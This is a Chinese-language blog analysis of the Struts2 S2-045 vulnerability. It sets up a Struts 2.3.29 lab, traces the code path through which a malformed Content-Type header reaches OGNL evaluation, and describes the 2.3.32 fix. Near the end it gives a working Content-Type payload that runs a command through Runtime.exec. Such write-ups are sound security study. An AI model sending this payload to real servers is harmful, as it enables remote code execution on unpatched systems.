前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
2.3.29 版本 struts2 + Tomcat 9。
在 struts.xml 中加上用于存放临时文件的 saveDir,当然不加也没什么关系:
<constant name="struts.multipart.saveDir" value="upload/" />
修改前端表单:
<s:form action="login" method="post" enctype="multipart/form-data">
<s:file name="upload" label="选择上传的文件" />
<s:submit value="提交"/>
</s:form>
然后修改 Action,加上文件上传相关的属性以及他们的 getter、setter,后面两个属性应该也用不上:
private File upload;
private String uploadContentType;
private String uploadFileName;
漏洞分析
根据官方通告,问题发生在 Jakarta 解析 HTTP 头中的 Content-Type 时,如果 Content-Type 非法,struts2 会将错误抛出,而这里存在一个 OGNL 表达式注入。
开始调试,给 JakartaMultiPartRequest 类的 parse 函数下断点,结果发现修改 Content-Type 无法触发断点,往前跟踪到 Dispatcher 类的 wrapRequest 函数可以发现:
public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
// don't wrap more than once
if (request instanceof StrutsRequestWrapper) {
return request;
}
String content_type = request.getContentType();
if (content_type != null && content_type.contains("multipart/form-data")) {
MultiPartRequest mpr = getMultiPartRequest();
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
return request;
}
content_type 中要包含 multipart/form-data 这个字符串,struts2 才会调用 Jakarta 进行下一步解析,我们回到 parse 函数:
public void parse(HttpServletRequest request, String saveDir) throws IOException {
try {
setLocale(request);
processUpload(request, saveDir);
} catch (FileUploadBase.SizeLimitExceededException e) {
if (LOG.isWarnEnabled()) {
LOG.warn("Request exceeded size limit!", e);
}
String errorMessage = buildErrorMessage(e, new Object[]{e.getPermittedSize(), e.getActualSize()});
if (!errors.contains(errorMessage)) {
errors.add(errorMessage);
}
} catch (Exception e) {
if (LOG.isWarnEnabled()) {
LOG.warn("Unable to parse request", e);
}
String errorMessage = buildErrorMessage(e, new Object[]{});
if (!errors.contains(errorMessage)) {
errors.add(errorMessage);
}
}
}
观察捕获异常后调用的 buildErrorMessage 函数:
protected String buildErrorMessage(Throwable e, Object[] args) {
String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
if (LOG.isDebugEnabled()) {
LOG.debug("Preparing error message for key: [#0]", errorKey);
}
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}
会将错误信息做参调用 findText 函数,继续跟踪可以来到 getDefaultMessage 函数:
private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args, String defaultMessage) {
GetDefaultMessageReturnArg result = null;
boolean found = true;
if (key != null) {
String message = findDefaultText(key, locale);
if (message == null) {
message = defaultMessage;
found = false; // not found in bundles
}
// defaultMessage may be null
if (message != null) {
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
String msg = formatWithNullDetection(mf, args);
result = new GetDefaultMessageReturnArg(msg, found);
}
}
return result;
}
调用 translateVariables 将错误信息当成了一个 OGNL 表达式来解析,所以如果我们能控制报错信息,我们就能进行 OGNL 表达式注入。
接下来观察 processUpload 函数的解析过程,来到跟 Content-Type 有关的 FileUploadBase 类的 FileItemIteratorImpl 函数,可以看到这里会抛出 InvalidContentTypeException:
String contentType = ctx.getContentType();
if ((null == contentType)
|| (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {
throw new InvalidContentTypeException(
format("the request doesn't contain a %s or %s stream, content type header is %s",
MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
}
如果 Content-Type 不以 multipart/ 开头,就会抛出这个异常,而且将 Content-Type 拼接进了错误信息里面,这样利用链就完成了。
漏洞利用
跟之前 S2-037 的 payload 一致,如果是更高版本的 struts2,则要复杂一些,具体的后面再分析,这里贴一个 payload:
Content-Type: Twings multipart/form-data %{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('calc'))}
漏洞修复
2.3.32 版本的修复,修改了 buildErrorMessage 函数:
if (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0]) == null) {
return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() });
} else {
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
}
不再将错误信息作为 defaultMessage 传入 findText 函数。
参考文章: